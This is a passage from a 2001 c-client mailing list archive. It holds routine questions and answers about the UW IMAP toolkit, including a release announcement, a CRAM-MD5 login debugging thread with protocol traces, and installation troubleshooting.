SMTP id fAEGm8n33130 for ; Wed, 14 Nov 2001 08:48:08 -0800 Received: FROM mxu3.u.washington.edu BY mailscan3.cac.washington.edu ; Wed Nov 14 08:48:07 2001 -0800 Received: from s1.relay.oleane.net (s1.relay.oleane.net [195.25.12.48]) by mxu3.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with ESMTP id fAEGm6218215; Wed, 14 Nov 2001 08:48:06 -0800 Received: from AXSMARINEABYOUSSEF (unknown [212.234.111.129]) by s1.relay.oleane.net (Postfix) with SMTP id B49D91FC80; Wed, 14 Nov 2001 17:48:04 +0100 (CET) Message-Id: <001301c16d2b$d19c3060$0c02a8c0@AXSMARINEABYOUSSEF> Date: Wed, 14 Nov 2001 17:45:50 +0100 Reply-To: Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Adnane Ben Youssef" To: Cc: Subject: adding user info ! MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6700 X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN I'am implementing a webmail (imp) with imap-uw and my users want to share mailboxes what I succeeded to do, but now my users want to : -> have a shared flag (seen, Answered) for the mails in the shared mailbox -> have a private flags. -> add comment headers on mails. !!? adnane -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Fri Nov 16 18:03:53 2001 -0800 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Fri, 16 Nov 2001 18:03:52 -0800 (PST) Return-Path: Received: from mailscan6.cac.washington.edu (mailscan6.cac.washington.edu [140.142.33.14]) by groupms.cac.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id fAH23pT13455 for ; Fri, 16 Nov 2001 18:03:52 -0800 (PST) Received: FROM mx2.cac.washington.edu BY mailscan6.cac.washington.edu ; Fri Nov 16 18:03:42 2001 -0800 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx2.cac.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with ESMTP id fAH23gG31232; Fri, 16 Nov 2001 18:03:42 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id fAH23M219840; Fri, 16 Nov 2001 18:03:22 -0800 Received: from mailscan3.cac.washington.edu (mailscan3.cac.washington.edu [140.142.32.15]) by lists.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id fAH20bn158338 for ; Fri, 16 Nov 2001 18:00:37 -0800 Received: FROM mxu1.u.washington.edu BY mailscan3.cac.washington.edu ; Fri Nov 16 18:00:37 2001 -0800 Received: from mailscan6.cac.washington.edu (mailscan6.cac.washington.edu [140.142.33.14]) by mxu1.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id fAH20aB17280 for ; Fri, 16 Nov 2001 18:00:36 -0800 Received: FROM mx2.cac.washington.edu BY mailscan6.cac.washington.edu ; Fri Nov 16 18:00:36 2001 -0800 Received: from mxout1.cac.washington.edu (mxout1.cac.washington.edu [140.142.32.5]) by mx2.cac.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with ESMTP id fAH20ZG31159; Fri, 16 Nov 2001 18:00:35 -0800 Received: from mailhost2.u.washington.edu (mailhost2.u.washington.edu [140.142.33.2]) by mxout1.cac.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with ESMTP id fAH20ZD19158; Fri, 16 Nov 2001 18:00:35 -0800 Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) by mailhost2.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with ESMTP id fAH20Zw27382; Fri, 16 Nov 2001 18:00:35 -0800 Message-Id: Date: Fri, 16 Nov 2001 17:39:09 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: c-client Interest List Cc: IMAP Interest List Subject: imap-2001a now available MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN This note is to announce the availability of the University of Washington IMAP toolkit version 2001a. This is a maintenance release to version 2001, with minimal user-visible new functionality. However, it has a number of bugfixes, some which are considered critical. Consequentally, all sites are encouraged to upgrade. Source for the latest version of the IMAP toolkit is available in: ftp://ftp.cac.washington.edu/mail/imap.tar.Z User-visible changes in this version are described in imap-2001a/docs/RELNOTES In addition, the frequently asked questions list has been expanded with several new questions and answers: imap-2001a/docs/FAQ -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Sat Nov 17 11:42:07 2001 -0800 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Sat, 17 Nov 2001 11:42:07 -0800 (PST) Return-Path: Received: from mailscan6.cac.washington.edu (mailscan6.cac.washington.edu [140.142.33.14]) by groupms.cac.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id fAHJg5T13227 for ; Sat, 17 Nov 2001 11:42:06 -0800 (PST) Received: FROM mx2.cac.washington.edu BY mailscan6.cac.washington.edu ; Sat Nov 17 11:41:59 2001 -0800 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx2.cac.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with ESMTP id fAHJfxG17653; Sat, 17 Nov 2001 11:41:59 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id fAHJeY418858; Sat, 17 Nov 2001 11:40:34 -0800 Received: from mailscan6.cac.washington.edu (mailscan6.cac.washington.edu [140.142.33.14]) by lists.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id fAHJaFn146342 for ; Sat, 17 Nov 2001 11:36:15 -0800 Received: FROM mxu4.u.washington.edu BY mailscan6.cac.washington.edu ; Sat Nov 17 11:36:11 2001 -0800 Received: from erij.whitequeen.com (dsl081-049-098.sfo1.dsl.speakeasy.net [64.81.49.98]) by mxu4.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with ESMTP id fAHJaB926519 for ; Sat, 17 Nov 2001 11:36:11 -0800 Received: from fey.whitequeen.com (fey.whitequeen.com [192.168.2.6]) by erij.whitequeen.com (8.11.6/8.11.2) with ESMTP id fAHJXwn26041 for ; Sat, 17 Nov 2001 11:33:58 -0800 Message-Id: <90570000.1006025532@fey.whitequeen.com> Date: Sat, 17 Nov 2001 11:32:12 -0800 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: richard offer To: c-client@u.washington.edu Subject: "bad protocol / cancel" when using /ssl in mailbox naming MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Content-Disposition: inline X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hi, I'm having a problem authenticating to my cyrus imap server if I add /ssl to the mailbox naming specification. The problem only appears in my (under-development) program and not (for example) when I use ifrom, so obviously its a "stupid user" problem. It looks like my client is sending back a bad MD5 password, since in my client the debug output for the password is a shorter than ifrom reports. Adding a printf in mm_login() proves that the correct password is being copied to pwd. With debugging on I get the output (hostname replaces real FQDN) (sorry for any broken formatting, I _still_ haven't managed to get mulberry not to wrap) [ richard@fey ] ./tilly * OK hostname Cyrus IMAP4 v2.0.9 server ready 00000000 CAPABILITY * CAPABILITY IMAP4 IMAP4rev1 ACL QUOTA LITERAL+ NAMESPACE UIDPLUS ID NO_ATOMIC_RENAME UNSELECT MULTIAPPEND SORT THREAD=ORDEREDSUBJECT THREAD=REFERENCES IDLE STARTTLS AUTH=PLAIN AUTH=LOGIN AUTH=DIGEST-MD5 AUTH=CRAM-MD5 X-NETSCAPE 00000000 OK Completed 00000001 AUTHENTICATE CRAM-MD5 + PDMzMDE2NDQ5ODUuMTYxNjUwMTJAZXJpai53aGl0ZXF1ZWVuLmNvbT4= IGMzMWUxOWY3N2MyZDQ0YjFiN2IyNmRhNGM5NzAxY2E3 00000001 NO bad protocol / cancel WARN=Retrying CRAM-MD5 authentication after bad protocol / cancel Using ifrom I see the following (the mailbox is identical to that in the previous example) [ richard@fey ] ~/playdir/ifrom/ifrom {hostname/imap/ssl/novalidate-cert/readonly/debug/user=richard} * OK hostname Cyrus IMAP4 v2.0.9 server ready 00000000 CAPABILITY * CAPABILITY IMAP4 IMAP4rev1 ACL QUOTA LITERAL+ NAMESPACE UIDPLUS ID NO_ATOMIC_RENAME UNSELECT MULTIAPPEND SORT THREAD=ORDEREDSUBJECT THREAD=REFERENCES IDLE STARTTLS AUTH=PLAIN AUTH=LOGIN AUTH=DIGEST-MD5 AUTH=CRAM-MD5 X-NETSCAPE 00000000 OK Completed 00000001 AUTHENTICATE CRAM-MD5 + PDYwOTU3Mzg4My4xNjE2NTA4OUBlcmlqLndoaXRlcXVlZW4uY29tPg== {hostname/imap/user=richard} password: cmljaGFyZCA5MjViOGM0Zjc0ZGU0OTVhOTg3Y2Y4MTc2Nzk2OTE0OQ== 00000001 OK Success (tls protection) If I take the /ssl out and rely on STARTTLS it works okay. I'm not using the standard linkage.c, however I am linking in imap, auth_md5, auth_pla, auth_log and calling ssl_onceonlyinit() in that order. Linkage.c also has mail_parameters(NIL,SET_DISABLEPLAINTEXT,(void *) 2) which for development purposes I haven't added to my code yet (I did but it made no difference). This was originally seen with imap-2001.BETA.SNAP-0104262058, but I've just reproduced it with imap-2001a. Any one want to take a swing with the clue stick ? richard. -- richard offer @ home DSS 3072/1024 0x8AFBBFA3 84 FE 48 E4 74 D0 26 D4 31 8E B6 86 98 74 E2 7C 8A FB BF A3 _____________________________http://www.whitequeen.com/users/richard/ -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Sat Nov 17 12:24:52 2001 -0800 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Sat, 17 Nov 2001 12:24:52 -0800 (PST) Return-Path: Received: from mailscan3.cac.washington.edu (mailscan3.cac.washington.edu [140.142.32.15]) by groupms.cac.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id fAHKOpT13873 for ; Sat, 17 Nov 2001 12:24:51 -0800 (PST) Received: FROM mx2.cac.washington.edu BY mailscan3.cac.washington.edu ; Sat Nov 17 12:24:44 2001 -0800 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx2.cac.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with ESMTP id fAHKOiG18392; Sat, 17 Nov 2001 12:24:44 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id fAHKNO534920; Sat, 17 Nov 2001 12:23:24 -0800 Received: from mailscan3.cac.washington.edu (mailscan3.cac.washington.edu [140.142.32.15]) by lists.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id fAHKMan149886 for ; Sat, 17 Nov 2001 12:22:36 -0800 Received: FROM mxu1.u.washington.edu BY mailscan3.cac.washington.edu ; Sat Nov 17 12:22:35 2001 -0800 Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) by mxu1.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with ESMTP id fAHKMYB22083 for ; Sat, 17 Nov 2001 12:22:34 -0800 Message-Id: Date: Sat, 17 Nov 2001 12:11:33 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: richard offer Cc: c-client@u.washington.edu Subject: re: "bad protocol / cancel" when using /ssl in mailbox naming In-Reply-To: <90570000.1006025532@fey.whitequeen.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Here's what I recommend: 1) Do not link by hand. Use linkage.c. The linkage.c mechanism was created for a reason. Although I don't think that your problem is caused by not using linkage.c, there have been people who sent me bug reports and wasted lots of my time before I discovered that the problem was that they lunk by hand and did it wrong. 2) Make sure that mm_login returns the user as well as the password. You need something like: strcpy (user,*mb->user ? mb->user : prompt_for_user_name ()); From pinedev@shivax2.cac.washington.edu Sat Nov 17 12:58:13 2001 -0800 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Sat, 17 Nov 2001 12:58:13 -0800 (PST) Return-Path: Received: from mailscan1.cac.washington.edu (mailscan1.cac.washington.edu [140.142.32.16]) by groupms.cac.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id fAHKwCT12845 for ; Sat, 17 Nov 2001 12:58:12 -0800 (PST) Received: FROM mx2.cac.washington.edu BY mailscan1.cac.washington.edu ; Sat Nov 17 12:58:03 2001 -0800 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with ESMTP id fAHKw3G18949; Sat, 17 Nov 2001 12:58:03 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id fAHKvhb26672; Sat, 17 Nov 2001 12:57:43 -0800 Received: from mailscan3.cac.washington.edu (mailscan3.cac.washington.edu [140.142.32.15]) by lists.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id fAHKv5n09162 for ; Sat, 17 Nov 2001 12:57:05 -0800 Received: FROM mxu2.u.washington.edu BY mailscan3.cac.washington.edu ; Sat Nov 17 12:57:02 2001 -0800 Received: from erij.whitequeen.com (dsl081-049-098.sfo1.dsl.speakeasy.net [64.81.49.98]) by mxu2.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with ESMTP id fAHKv1405924 for ; Sat, 17 Nov 2001 12:57:01 -0800 Received: from fey.whitequeen.com (fey.whitequeen.com [192.168.2.6]) by erij.whitequeen.com (8.11.6/8.11.2) with ESMTP id fAHKsmn26155 for ; Sat, 17 Nov 2001 12:54:48 -0800 Message-Id: <93650000.1006030381@fey.whitequeen.com> Date: Sat, 17 Nov 2001 12:53:01 -0800 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: richard offer To: c-client@u.washington.edu Subject: re: "bad protocol / cancel" when using /ssl in mailbox naming In-Reply-To: MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Content-Disposition: inline X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN * MRC@CAC.Washington.EDU at '11/17/01 12:11:33 PM -0800' * * Here's what I recommend: * * 1) Do not link by hand. Use linkage.c. The linkage.c mechanism was * created for a reason. Although I don't think that your problem is * caused by not using linkage.c, there have been people who sent me * bug reports and wasted lots of my time before I discovered that the * problem was that they lunk by hand and did it wrong. Didn't fix anything, but I'll follow your advice. * * 2) Make sure that mm_login returns the user as well as the password. * You need something like: * strcpy (user,*mb->user ? mb->user : prompt_for_user_name ()); That was it. I foolishly assumed that because I was supplying a user in the mailbox spec (and it was present in NETMBX) that I did't need to copy the user portion back. Thanks. richard. -- richard offer @ home DSS 3072/1024 0x8AFBBFA3 84 FE 48 E4 74 D0 26 D4 31 8E B6 86 98 74 E2 7C 8A FB BF A3 _____________________________http://www.whitequeen.com/users/richard/ From pinedev@shivax2.cac.washington.edu Tue Nov 20 06:26:36 2001 -0800 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Tue, 20 Nov 2001 06:26:35 -0800 (PST) Return-Path: Received: from mailscan6.cac.washington.edu (mailscan6.cac.washington.edu [140.142.33.14]) by groupms.cac.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id fAKEQYT30008 for ; Tue, 20 Nov 2001 06:26:35 -0800 (PST) Received: FROM mx1.cac.washington.edu BY mailscan6.cac.washington.edu ; Tue Nov 20 06:26:29 2001 -0800 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx1.cac.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with ESMTP id fAKEQTn24211; Tue, 20 Nov 2001 06:26:29 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id fAKEQH407554; Tue, 20 Nov 2001 06:26:17 -0800 Received: from mailscan5.cac.washington.edu (mailscan5.cac.washington.edu [140.142.32.14]) by lists.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id fAKENIn113726 for ; Tue, 20 Nov 2001 06:23:18 -0800 Received: FROM mxu1.u.washington.edu BY mailscan5.cac.washington.edu ; Tue Nov 20 06:23:17 2001 -0800 Received: from nenuphar.saclay.cea.fr (nenuphar.saclay.cea.fr [132.166.192.7]) by mxu1.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with ESMTP id fAKENGB16995 for ; Tue, 20 Nov 2001 06:23:16 -0800 Received: from muguet.saclay.cea.fr (muguet.saclay.cea.fr [132.166.192.6]) by nenuphar.saclay.cea.fr (8.9.1a/8.9.1/CEAnet-relay-5.0.D20+Y2K) with ESMTP id PAA15563 for ; Tue, 20 Nov 2001 15:23:36 +0100 (MET) Received: from dphdse.saclay.cea.fr (dphdse.saclay.cea.fr [132.166.30.5]) by muguet.saclay.cea.fr (8.9.1a/8.9.1/CEAnet-relay-5.2.D20+Y2K) with ESMTP id PAA19210 for ; Tue, 20 Nov 2001 15:22:43 +0100 (MET) Received: from hep.saclay.cea.fr (seipcd241.saclay.cea.fr [132.166.37.241]) by dphdse.saclay.cea.fr (8.9.0/8.9.0) with ESMTP id PAA00520 for ; Tue, 20 Nov 2001 15:23:15 +0100 (MET) Message-Id: <3BFA6752.4B4791FA@hep.saclay.cea.fr> Date: Tue, 20 Nov 2001 15:23:14 +0100 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Dora Merelli To: c-client@u.washington.edu Subject: IMAP2001: error "Service not available" MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Content-Transfer-Encoding: 7bit Content-Transfer-Encoding: 7bit X-Accept-Language: en X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hi, I just downloaded the IMAP server version 2001a. I compiled it (without any changes or variation), and installed it on a OSF1 v5.1 machine. When I try to do a telnet on port 143 I receive this message: * BYE Service not available dapmail1 IMAP4rev1 2001.315 at Tue, 20 Nov 2001 16:17:25 +0100 (CET) If I install on the same machine an old version of IMAP (4.7), it works. Any idea of what is wrong? Thanks a lot Dora -- Dora Merelli DAPNIA/SEI CEA Saclay 91191 Gif s/Yvette - France -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Tue Nov 20 07:13:53 2001 -0800 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Tue, 20 Nov 2001 07:13:52 -0800 (PST) Return-Path: Received: from mailscan1.cac.washington.edu (mailscan1.cac.washington.edu [140.142.32.16]) by groupms.cac.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id fAKFDpT02011 for ; Tue, 20 Nov 2001 07:13:51 -0800 (PST) Received: FROM mx1.cac.washington.edu BY mailscan1.cac.washington.edu ; Tue Nov 20 07:13:45 2001 -0800 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with ESMTP id fAKFDjn25347; Tue, 20 Nov 2001 07:13:45 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id fAKFDX568756; Tue, 20 Nov 2001 07:13:33 -0800 Received: from mailscan1.cac.washington.edu (mailscan1.cac.washington.edu [140.142.32.16]) by lists.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id fAKFCVn106942 for ; Tue, 20 Nov 2001 07:12:32 -0800 Received: FROM mxu3.u.washington.edu BY mailscan1.cac.washington.edu ; Tue Nov 20 07:12:27 2001 -0800 Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) by mxu3.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with ESMTP id fAKFCQ218220 for ; Tue, 20 Nov 2001 07:12:27 -0800 Message-Id: Date: Tue, 20 Nov 2001 07:10:41 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Dora Merelli Cc: c-client@u.washington.edu Subject: re: IMAP2001: error "Service not available" In-Reply-To: <3BFA6752.4B4791FA@hep.saclay.cea.fr> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN "Service not available" means that /etc/nologin exists, indicating that the system is shutting down in 5 minutes. imapd declines to start under such circumstances. From pinedev@shivax2.cac.washington.edu Tue Nov 20 08:52:54 2001 -0800 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Tue, 20 Nov 2001 08:52:53 -0800 (PST) Return-Path: Received: from mailscan3.cac.washington.edu (mailscan3.cac.washington.edu [140.142.32.15]) by groupms.cac.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id fAKGqqT14748 for ; Tue, 20 Nov 2001 08:52:52 -0800 (PST) Received: FROM mx1.cac.washington.edu BY mailscan3.cac.washington.edu ; Tue Nov 20 08:52:46 2001 -0800 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx1.cac.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with ESMTP id fAKGqkn28486; Tue, 20 Nov 2001 08:52:46 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id fAKGqH209978; Tue, 20 Nov 2001 08:52:17 -0800 Received: from mailscan5.cac.washington.edu (mailscan5.cac.washington.edu [140.142.32.14]) by lists.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id fAKGosn115436 for ; Tue, 20 Nov 2001 08:50:54 -0800 Received: FROM mxu1.u.washington.edu BY mailscan5.cac.washington.edu ; Tue Nov 20 08:50:54 2001 -0800 Received: from ns.mific.gob.ni (ns.mific.gob.ni [200.9.189.194]) by mxu1.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with ESMTP id fAKGooB25210 for ; Tue, 20 Nov 2001 08:50:51 -0800 Received: from irlanda ([200.9.189.196]) by ns.mific.gob.ni (8.11.0/8.11.2) with SMTP id fAKI46302762 for ; Tue, 20 Nov 2001 12:04:06 -0600 Message-Id: <000901c171e2$f8420b70$a600000a@irlanda> Date: Tue, 20 Nov 2001 10:46:53 -0600 Reply-To: "Irlanda Delgado" Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Irlanda Delgado" To: Subject: IMAP source References: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 1 X-MSMail-Priority: High X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hello, where can i get the source of IMAP-2000c?.... Thank you. Irlanda -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Tue Nov 20 09:00:25 2001 -0800 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Tue, 20 Nov 2001 09:00:25 -0800 (PST) Return-Path: Received: from mailscan3.cac.washington.edu (mailscan3.cac.washington.edu [140.142.32.15]) by groupms.cac.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id fAKH0OT26518 for ; Tue, 20 Nov 2001 09:00:24 -0800 (PST) Received: FROM mx1.cac.washington.edu BY mailscan3.cac.washington.edu ; Tue Nov 20 09:00:17 2001 -0800 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx1.cac.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with ESMTP id fAKH0Hn28760; Tue, 20 Nov 2001 09:00:17 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id fAKGxm421810; Tue, 20 Nov 2001 08:59:48 -0800 Received: from mailscan3.cac.washington.edu (mailscan3.cac.washington.edu [140.142.32.15]) by lists.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id fAKGtTn183630 for ; Tue, 20 Nov 2001 08:55:29 -0800 Received: FROM mxu4.u.washington.edu BY mailscan3.cac.washington.edu ; Tue Nov 20 08:55:27 2001 -0800 Received: from ns.mific.gob.ni (ns.mific.gob.ni [200.9.189.194]) by mxu4.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with ESMTP id fAKGtO915862 for ; Tue, 20 Nov 2001 08:55:24 -0800 Received: from irlanda ([200.9.189.196]) by ns.mific.gob.ni (8.11.0/8.11.2) with SMTP id fAKI8d302861 for ; Tue, 20 Nov 2001 12:08:39 -0600 Message-Id: <001301c171e3$9af35e00$a600000a@irlanda> Date: Tue, 20 Nov 2001 10:51:26 -0600 Reply-To: "Irlanda Delgado" Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Irlanda Delgado" To: Subject: IMAP source for redhat 7.0 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 1 X-MSMail-Priority: High X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN I forget, i have r70 and i need IMAP-2000c-10... I installed openssl-0.9.6b.tar.gz and imap-2000c-10.i386.rpm but imap generate a error: error: failed dependencies: libcrypto.so.1 is needed by imap-2000c-10 libssl.so.1 is needed by imap-2000c-10 In compilation openssl only make a link to libcrypto.so and libcrypto.so.0.. what can i do?.... thank you, Irlanda -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Tue Nov 20 10:33:53 2001 -0800 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Tue, 20 Nov 2001 10:33:52 -0800 (PST) Return-Path: Received: from mailscan4.cac.washington.edu (mailscan4.cac.washington.edu [140.142.33.15]) by groupms.cac.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id fAKIXoT32036 for ; Tue, 20 Nov 2001 10:33:51 -0800 (PST) Received: FROM mx2.cac.washington.edu BY mailscan4.cac.washington.edu ; Tue Nov 20 10:33:42 2001 -0800 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with ESMTP id fAKIXgG12832; Tue, 20 Nov 2001 10:33:42 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id fAKIXPb21150; Tue, 20 Nov 2001 10:33:25 -0800 Received: from mailscan6.cac.washington.edu (mailscan6.cac.washington.edu [140.142.33.14]) by lists.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id fAKIRdn22188 for ; Tue, 20 Nov 2001 10:27:39 -0800 Received: FROM mxu3.u.washington.edu BY mailscan6.cac.washington.edu ; Tue Nov 20 10:27:37 2001 -0800 Received: from mxout2.cac.washington.edu (mxout2.cac.washington.edu [140.142.33.4]) by mxu3.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with ESMTP id fAKIRa221579 for ; Tue, 20 Nov 2001 10:27:36 -0800 Received: from mailhost1.u.washington.edu (mailhost1.u.washington.edu [140.142.32.2]) by mxout2.cac.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with ESMTP id fAKIRax03593; Tue, 20 Nov 2001 10:27:36 -0800 Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) by mailhost1.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with ESMTP id fAKIRaq21474; Tue, 20 Nov 2001 10:27:36 -0800 Message-Id: Date: Tue, 20 Nov 2001 10:26:43 -0800 (PST) Sender: 